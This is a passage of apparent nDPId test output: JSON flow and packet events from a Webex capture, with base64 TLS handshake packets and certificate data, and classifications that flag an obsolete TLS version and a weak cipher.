QcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":365,"source":"webex.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1444570636259,"flow_last_seen":1444570636894,"flow_tot_l4_data_len":4142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":690,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.100","src_port":52219,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00852{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":895983,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuY+VAAEAGIfYKCAABQERpYpEJAbvtraFaElJuSVAYTO\/8iQAAFgMBAQYQAAECAQBKz8VAcYGRCUxyTTm12E2YCFZWr3BjrWhipEpnrXhhxj1MIecbPmgYdshTAomuSJsV+ngNhOnDxwNUl4MphH25YnDW3y\/D5JB+VOryaIKA7PSsSYpU8swhaVzf8\/a3UBkaBacxyaeRKkQbcUWT+268fk63eT6XIEeps92NVGpTa+SuaZvp\/YJJEUPFU0rRb0XwIaVfwwuTg1neFIu1+4epaHSQzQW9eFzmJF3T4+uOLnIvqa\/4Ydz3W7NjcmJv62P1RhVxDAwWQoz5xUBA84Ac4nNtRUQ5ZhiziHLvZmOMgHtfleqw5zTqosgeTmmOakOR6s28Kd5RrKQxHeSTNBGAFAMBAAEBFgMBADDNdsftYPv47HQqVMtWpzE50vsZhtbBXRWYGCfc\/cKXEMfPEY1UJSjDUI+1BaVLkz8="} +00409{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":896552,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAb5AABAGtWNARGliCggAAQG7kQkSUm5J7a2ioFAQ\/\/9YdwAA"} +05712{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":897531,"pkt_caplen":3993,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3993,"pkt_l4_len":3959,"pkt":"ABoRAAACABoRAAABCABFAA+LAb9AABAGlf5ARHljCggAAQG72qGkCFzmW\/ejWlAY\/\/\/iVAAAFgMBD14CAABNAwFWGmYSO4ujwppVKuHJGKzYGAeqsTGrkuWznfOYrvCxcCBgdTl8Q+EnZotV0xZg72NNDMfW235XcJYrwHbEaKYyQQA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGEunyuJ9wVNfPj9MA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMDgwMDAwMDBaFw0yMTExMDcyMzU5NTlaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":368,"source":"webex.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1444570636264,"flow_last_seen":1444570636897,"flow_tot_l4_data_len":4142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":690,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.99","src_port":55969,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +03470{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":898687,"pkt_caplen":2309,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2309,"pkt_l4_len":2275,"pkt":"ABoRAAACABoRAAABCABFAAj3AcBAABAGMMg+becDCggAAQG7svZgvbGbn0JhQ1AY\/\/\/KrwAAFwMBBWDde1FdWoJWDuJ36PlKWy8Z8EviG2jV4W+KGkEd6W\/guAjEifv9fBDCH9+v3GZ8sypODLmQzBSnbslrOpYCfWOH9IdRjgX25zNML\/jvNaV6OdNRv1+Pk8Aw1JRYGm35ODHu7UdMrb2ZpY0w67xXnTvc2rVZXlA7xJNc2BGRnkuZGuozOEJSQMhqTZPeyTvyb0wVuWxRopCC2hu5uvWjlvvxc4LO0P7n7+pIJ1Bf55yP9RSrrXwfAG52wDw7JiNs\/Q8UifKi8OByfAS1ae3q7\/ScOdQuC2y5rh2vpSFM\/oFXSRW4lavqwkbaA3HAMXJdsnYFkgNA6jIdzPiVTvXmsxlJA3QxQ0rZfzwoKLvApXdMw30R5YbK89GnZh9lnczyP4QWFKuffm\/vKqfIwWIERKiFRkT7VUB8inwWwdvLyy5pDpo8IxKgHskWtjuU0eKIR1WiQmLE3idaRqWZU8xosc7oeSaGpmfxGolkPTG7xWEit50mRz13TBREfI+Y0W7tLPMGJ1QHGVVerko+O3kgNwzGtoNqGH86YGf2gkGmNkXQINjPzxY1YzbUG0nD6lT8S4+oYDZsdyE91wNqw4ss\/8Z32Gk9a4GB26rNC2HWrv8mE0VW7V+OtSNsjejA5hIf52nQFtQxOFABVjdL2YFiP16hrGKsCEVecpGrE4FapisFrMpJd8wSIP8Z2G+QVjuiFA63gzng398lzTOhOtyk9DuQqBuVCQDnGIXM1S+Uajq1uAlZmECvSIcyuYGTu5cZNhlJCI0gJgR854Pc8SNgtbhajOCvVLGsqmJ1Z8arwqbOT72dGX1mtm2\/jWG0IRka4OpOoI2USFVDdXOJnksmG93cQaJ60GvIzx56evOOkeEG6UYfA2uhryk\/FiyLXOeI6jtNKJJU5YzG+Q7Ly0PrTWsj6FQfmmsXZLpHBrat9V2zNnGSURdG1P73eUCwqb13yFYpSQWp5WEgm7rbo9G5zo2Y4542IFd8FeoHr0FKZON79unA7kvP2v1PbWH2VqNdpTmvgZ7JqO9KfXpJh8+RpKnwvY5P+2K2f65Ixx\/AsN9FnJZk1lhWkmkR4yW6MkNYY4uTmUYwGIa4dn+jHWjGNC9mpI5JvwfwRkoBA\/h2RZGXDGqWyb6T7AXiZajnRE2MttwnMTeYX32ri6s\/9x6mRUaUF1iCowSU+4uqEhXR4OvG2kcwQWw9q9hWrObEr3YESOtHlKTxaZoVyWMrXHSi77pM99QlwpcHrdFNTi\/i\/Sv2yrJNSDiWxZROaF1sHa4vt1+6kxEwT\/Uhf1FgOdagMtCzShZY1xQX5F8YOXsAHKOYg8ctiZsvrey+WhmaiVA70VSNhYFdyzSWpVE8CiV4TQZlWKoeTTtlnIyiHRyyoISoOKOHpcYMDcP\/Vps8f\/WiPxLziihOtDuw5RCzQraGTJMW08io5pS3KcGhWjyeRjF9AZfEdO09QEsoogtYrKB+8Q1rQZgL9\/hkr3AoqDmXSVNf8kNR8lNat3LE1OGJg3oNxNejSCWlareae7fD69\/HVxNyk1dqq6JmYWdP8QnsLgPwckcy0K87DYw4qlNoGciIsb+ExmSAS0HLNJC6ffrLH+LgiHUUHzzZxhWlSmCioPLNLxh5\/agSF5C5Oeb+iXn\/YNdKMMr3y4hzZAFbtwxiqvzATIUsQrn2mVpBIu0eYPvwaCEblmJroRyO5BxhUkPVxTCrpBExMm4ENkm1RjDYU8Qu4eX4XDau3XynJ19km42r1mMdaZJrg+n5UtDENLfdd3sxt0JnwdU8ECQ2oBhP1Qe36+aBU\/ZPbxGLAXojhvzX1u7dvwOeYPJgl7dAf3nxZhcDAQNAnds9\/tJb406vCBadsl8Ux8fxf\/TxUtBTMoFLoyxTR4cXj\/u1KeLAxhj\/ExaRt88vE30Wxc2hPMzZV8qRRyMaYxVvWX3bmrGykcHYwf2m4iv7z7BSEfjxlW40G8adMtWyK5p4pdb81lxtB\/hdT2u+ed7TFmJH05UaTxZ1xOMeAF04bB4UiIPM7tLrtwC7yawFCSa19669UvJFcsckaQpSO7yugEgKKJWdomCzA+M7Qg0UYQKLft0gAhc0dEsB2hA9kpjtHAyFyzhhOg02sOnj3aFnsWAvLPwEh4a19gAVFZ+aXpsSWl24QLXviRJ\/HiY5kFTggCyOwpuflU5dhJLwPNTcB7MUQoi0r9tU+jwyBM1FwPa2vsP9rN3ODTiH28eNfrHTGWj2hDjqqGWybDqJ6NcXTnrLX7hqJ52YZanAqelXOoXDCBxVDV+C83K\/lRsReFbaydVmIGfAt1wjs8dKuUnnR8RJluX7X\/mgeerWhF\/ggIEnc66WGT6DLCIywvCVDg0+Lc0Iw6lhprxYYtwzQSK0dCsqiL5AduwK5WIOyFxNNUHkC0T9B8ei\/cxrKXTn2SGI+f2VnUfgdjUqI4\/Tfr86cuGgBEaR9EGprwn9bdJb1Xp5KlRUVSS0HAqF4RxqrjiuKZlPuTFjRRQ+Meg7MByIgLHbHMmQ1tvCKyMZnnJ0dLEtzrsMsCBJHLrshcuDS5vDklYn1jiPhLc5f0uOlPeFKQOOoU7NMAss1p1w9EudT+TwqbmyK+JNatJkjdhkwgXc31cIgTFiL6\/TWvG+4xrJNszOZz26CnAuAEdL2ulIi3JjTUE9ZFnx\/tL27DxCO4SS\/NLyK8Gufckh\/DJ8prQe1czlZ\/2cK3UwIOtTGYUPcLhb65Gxu49J2Hu2ZSXS9jCKE4kZOwrV3RUj9CYUT4ux7LSEYbb2Gx7\/jWO4nHrUOoms+5UidpIYakVr+C4p9oVn7mRrqUKWMQ3Kpm8tma7ZFyB\/wLDFxrwZUzb+MZGM8oAObbNJdpMap9ZASyRe1JkAo\/LOGOoLl8X9c8rv9amSUnj5S23SEyY8i7TbR0\/zfq4X6\/yv\/b1ZKxkH7AwraD618y0EuJGU4Ufsg57MdRUDAQAgpL2NNQm25P39Nva6IyGHkTSOVEKrtfAgvLc0DNz\/PtA="} +00849{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":899301,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu2lxAAEAGq3kKCAABQERpZ6GqAbsG3RmZ+SL2ClAYTO9tJwAAFgMBAQYQAAECAQBR11gDSI0mnDZ9mJO34BHZiGaXufHHx8CsR6Be+Te0OnR0gJ8RTMaIk1DH6ST47bCFvccOK1TKqbr6cuX9mu3AvrPFbANOKjQYWyGWclpxBJU00HSDgsf3tXUWPPUPdwzoZAWMAgVKQhzd1kznVZ5pGAcQN5CozP9bk0XrveDz80w\/tPuj098aBdk1xWRR9mic6f2p9E3J1dQkurPaIajvAg4DevM5kskfb4XhbePaEh7QDMdJbuTHnpLwUx408R5gkHli60UUruksvNppZ3N4l7B5ekI71HCckqTO5KlnCFg3jEPINupUtidLfQnFz373Dc+yNb5dYdOLFR7fqOGiFAMBAAEBFgMBADCKJ\/AKrAveqKpjl+DyUCSNgWnnugZuPfFZ+Yan7R3r8U\/I+qwhH27GTa3bIr23wkA="} +00409{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":899792,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAcFAABAGtVtARGlnCggAAQG7oar5IvYKBt0a31AQ\/\/9H0QAA"} +00408{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":909804,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAou9lAAEAGu0UKCAABQER5ZMv7AbtwVXlkj6qWP1AQTO\/B2QAA"} +00407{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":911196,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYexAAEAGFTQKCAABQER5Y9qhAbtb96NapAhsSVAQTO+zNAAA"} +02276{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":962179,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"ABoRAAACABoRAAABCABFAAWMAcJAABAGG1NyHcwxCggAAQG7yb4bqwoQ5FT2MFAY\/\/8uLgAAFgMBDz4CAAAtAwFWGmYSsru2IKleC1e6MWjJFT6S5Cz6HbNjfpgUZp5yBwAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNV"} 